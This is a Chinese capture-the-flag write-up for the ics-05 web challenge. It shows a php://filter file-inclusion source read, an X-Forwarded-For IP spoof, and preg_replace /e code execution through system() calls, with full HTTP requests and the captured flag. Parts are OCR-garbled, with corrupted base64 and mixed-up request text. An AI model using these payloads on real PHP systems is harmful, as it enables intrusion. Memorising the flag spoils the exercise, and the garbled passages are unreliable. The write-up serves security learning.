# 攻防世界web进阶ics-05 详细wp



## 攻防世界web进阶区ics-05 wp

### 题目网站



根据题目提示选择设备维护中心,或者简单粗暴的全都点一遍,发现也只有设备维护中心能点开

#### 打开后 F12 调网页源码 查看后发现

```
*▼<body> == $0

▼

▼

<a href="<u>2page=index</u>">云平台设备维护中心</a>

::after

<span class="layui-nav-bar" style="width: 0px; left: 0px; opacity: 0;">

</span>
```

?page=index 有page这个get参数 自然联想到可能存在利用文件包含读取网页源码的漏洞 这里给出利用php内置filter协议读取文件的代码

?page=php://filter/read=convert.base64-encode/resource=index.php

### 查看网页得到base64加密后的代码

R		Elements	Console	Sources	Network	Performance	>>	<b>8</b> 1	:	2
	▼ <div< td=""><td><pre>style="text</pre></td><td>-align:cen</td><td>iter"&gt;</td><td></td><td></td><td></td><td></td><td></td><td></td></div<>	<pre>style="text</pre>	-align:cen	iter">						
	▼ <p< td=""><td>class="lead</td><td>"&gt;</td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></p<>	class="lead	">							
	P	D9waHAKZXJy	b3JfcmVwb3	J0aW5nKDAp	oOwoKQHN1c3	Npb25fc3RhcnQc	KTsK	cG9zaXh	fc2\	/0
	d	W1kKDEwMDAp	OwoKCj8+Cj	whRE9DVF10	QRSBIVE1MPg	o8aHRtbD4KCjxc	ZWFk	PgogICA	gPG1	11
	d	GEgY2hhcnN1	dD0idXRmL1	giPgogICA	gPG11dGEgbm	Ft210icmVu2GVy	ZXIi	LGNvbnH	(1bn(	29
	1	ndlYmtpdCl+	CIAgICA86W	VØYSBOdHKi	VLWVXdW12PS	JYLVVBLUNVbXBr	IdGI1	bGUIIGN	IVbnF	(1
	D	nQ91K1FPWVK		12 allPIE1Pgog	gitAgPGIIdG zaWEpdClbbC	1-V2E-7T0v1CP+	.0387	CNQ11GN		1
	0	TEiDaoaTCAa	PWRIUMIJZS	12awroacw	замэривінос	IZIZFSZIUXLUDU RocmUmDSJcVV11	- 204		1 J T W2 5 A WL	
	r V	3NzTiR+7WRn	VT0iVWveTi	AKICAGIDv(	JaXRs7T7orr	71nTfnu7TmiaTk	.a59j .uK31		ndGy	21
	P		dGEøY2hhcn	NIdDØidXRr	nl TgiPgo8l 2	hlYWO+Cgo8Ym9k	eT4K	ΤΟΔσΤΟχ	1bCF	3-1
	b	GEzczØibGE5	dWktbmF2Ti	4KTCAgTCA	TCA8bGkgY2	xhc3M9TmxheXVr	l W5h	di1ndGV	tTG>	xh
	e	XVpLXRoaXMi	PixhIGhvZW	Y9Ii9wYWd	LPWluZGV4Ii	7kupHlubPli7Dc	orr71	pIfnu71	mia]	Γk
	u	K31v4M8L2E+	PC9saT4KIC	AgIDwvdWw-	+CiAgICA8Zm	11bGRzZXQgY2xł	c3M9	ImxheXV	pLW\	/s
	Z	W0tZmllbGQg	bGF5dWktZm	11bGQtdG10	0bGUiIHN0eW	x1PSJtYXJnaW4t	:dG9w	OiAzMHE	40y1	+1
	C	iAgICAgICAg	PGx1Z2VuZD	7orr7lpIf	liJfooag8L2	x1Z2VuZD4KICAg	gIDwv	ZmllbGF	zZXQ	)+
	C	iAgICA8dGFi	bGUgY2xhc3	M9ImxheXVp	⊳LWhpZGUiIG	lkPSJ0ZXN0Ij48	3L3Rh	YmxlPgc	gICA	٩g
	P	HNjcmlwdCB0	eXB1PSJ0ZX	h0L2h0bWwi	iIGlkPSJzd2	10Y2hUcGwiPgog	gICAg	ICAgIDw	hLSe	)g
	6	L+Z6YeM55qE	IGNoZWNrZW	Qg55qE54q2	25oCB5Y+q5p	iv5ryU56S6IC0t	Pgog	ICAgICA	(gID)	<р
	b	nB1dCB0eXB1	PSJjaGVja2	JveCIgbmFt	tZTØic2V4Ii	B2YWx1ZT0ie3tk	Lmlk	fX0iIG×	heS1	Lz
	a	21uPSJzd210	Y2giIGxheS	10ZXh0PSL1	LvIB85YWzIi	BsYXktZmlsdGVy	PSJj	aGVja0R	1608	3i
	I	Ht7IGQuaWQ9	PTEgMDAwMy	A/ICdjaGV	ja2VkJyA6IC	cnIH19PgogICAg	PC9z	YЗЈрсНQ	+Ci4	∕g
	I	CA8c2NyaXB0	IHNyYz0ibG	F5dWkvbGF5	odWkuanMiIG	NoYXJzZXQ9InV@	2i04	1j48L3N	[jcm]	LW

放到base64解密里得到php代码

```
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
    echo "<br >Welcome My Admin ! <br >";
    $pattern = $_GET[pat];
    $replacement = $_GET[rep];
    $subject = $_GET[sub];
    if (isset($pattern) && isset($replacement) && isset($subject)) {
        preg_replace($pattern, $replacement, $subject);
    }else{
        die();
    }
```

代码审计得

(1) 需要在html的头格式中伪造 IP: 127.0.0.1

Request		Response					
Raw Params Heade	rs Hex		Raw Headers Hex HTML Render				
Name	Value	Add					
Host	111.198.29.45:56796		云平台设备维护中心				
User-Agent	Mozilla/5.0 (Windows NT 10.0; Win64; x64; r	Remove					
Accept	text/html,application/xhtml+xml,application/x	Un					
Accept-Language	zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,e						
Accept-Encoding	gzip, deflate	Down					
Connection	close						
Cookie	PHPSESSID=s9mi2qt6s3hlbf5p2aokqqjv23						
Upgrade-Insecure-Requ	1		ID ≜ 设备名 区域				
Cache-Control	max-age=0						
X-Forwarded-For	127.0.0.1		約2000年1月1日1日1日1日1日1日1日1日1日1日1日1日1日1日1日1日1日1日1				
	_		数////////////////////////////////////				
			Welcome My Admin !				
			https://blog.csdn.net/zhwh				

出现 Welcome My Admin! 证明伪造成功

## (2) 接下来是最关键的利用preg\_replace()函数的/e漏洞进行代码执行

### 首先简单介绍一下preg\_replace()函数

preg_replace(\$pa	attern, \$replacement, \$subject)
作用: 搜索subject	中匹配pattern的部分, 以replacement的内容进行替换。
\$pattern:	要搜索的模式,可以是字符串或一个字符串数组。
<preplacement:< pre=""></preplacement:<>	用于替换的字符串或字符串数组。
\$subject:	要搜索替换的目标字符串或字符串数组。

### 接着关于/e漏洞

/e 修正符使 preg\_replace() 将 replacement 参数当作 PHP 代码(在适当的逆向 引用替换完之后)。 提示: 要确保 replacement 构成一个合法的 PHP 代码字符串, 否则 PHP 会在报告在包含 preg\_replace() 的行中出现语法解析错误。

也就是说只要在subject中有要搜索的pattern的内容,同时将在replacement前加上/e,触发/e漏洞,就可以执行replacement中的 正确的php代码

后面就是利用这个漏洞去进行文件读取,找到关于flag的线索

#### 第一步尝试使用 system("ls") 获取文件目录



成功读取文件目录,同时发现目录下的 s3chahahaDir 文件的名字很可疑 想到进入该文件中查看内容

#### 第二步 cd 到 s3chahahaDir 这个文件夹下查看内容

#### cd命令为 system("cd%20s3chahahaDir%26%26%201s")

解释一下,%20代表空格,%26%26就是&&代表当前面命令执行成功时,继续执行后面的命令,读取s3chahahaDir文件夹内 容。于是有



发现flag文件,猜想大概率正确

再使用刚刚的 cd命令 system("cd%20s3chahahaDir/flag%26%26%201s") 态差9cc立件的由密

#### 互有lidg又什的内谷

#### GET url: '/somrthing.ison'. /index.php?pat=/abc/e&rep=system("cd%20s3chahahaDir/flag%26%26%20Is")&sub=def cellMinWidth: 80, g%20abc HTTP/1.1 cols: [ Host: 111.198.29.45:35353 I User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 { type: 'numbers' }, Firefox/69.0 { type: 'checkbox' }, Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8 { field: 'id', title: 'ID', width: 100, unresize: true, sort: true }, Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 { field: 'name', title: '设备名', templet: '#nameTpl' }, Accept-Encoding: gzip, deflate { field: 'area', title: '区域' }, Referer: http://111.198.29.45:35353/ { field: 'status', title: '维护状态', minWidth: 120, sort: true }, Connection: close { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true } Cookie: PHPSESSID=4hrkqfjh8sqsqo6va7dj456cr3 1 Upgrade-Insecure-Requests: 1 l, Cache-Control: max-age=0 page: true X-Forwarded-For: 127.0.0.1 3): 3): </script> <script> layui.use('element', function() { var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块 //监听导航点击 element.on('nav(demo)', function(elem) { //console.log(elem) layer.msg(elem.text()); }); }); </script> <br >Welcome My Admin ! <br >flag.php 发现flag.php 最后使用cat命令读取flag.php中的内容 命令代码: system("cat%20s3chahahaDir/flag/flag.php") 得到flag GET { type: 'numbers' }, /index.php?pat=/abc/e&rep=<mark>system("cat%20s3chahahaDir/flag/flag.php")</mark>&sub=defg%20 { type: 'checkbox' } abc HTTP/1.1 { field: 'id', title: 'ID', width: 100, unresize: true, sort: true }, Host: 111.198.29.45:35353 { field: 'name', title: '设备名', templet: '#nameTpl' }, User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 { field: 'area', title: '区域' }, Firefox/69.0 { field: 'status', title: '维护状态', minWidth: 120, sort: true }, Accept: text/html,application/xhtml+xml,application/xml;q=0.9,\*/\*;q=0.8 { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true } Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 1 Accept-Encoding: gzip, deflate l. Referer: http://111.198.29.45:35353/ page: true Connection: close }); Cookie: PHPSESSID=4hrkqfjh8sqsqo6va7dj456cr3 }); Upgrade-Insecure-Requests: 1 </script> Cache-Control: max-age=0 <script> X-Forwarded-For: 127.0.0.1 layui.use('element', function() { var element = layui.element; //导航的hover效果、二级菜单等功能,需要依赖element模块 //监听导航点击 element.on('nav(demo)', function(elem) { //console.log(elem) layer.msg(elem.text()); }); 3); </scrint> <br >Welcome My Admin ! <br ><?php</pre>

\$flag = 'cyberpeace{37ffc402713715e40651bf1ac3def9d0}';

https://blog.csdn.net/zhwho

### 知识点总结:

(1)利用php内置filter协议读取文件的代码
(2)伪造IP
(3)preg\_replace()函数的/e漏洞
(4)正确的php system()函数的书写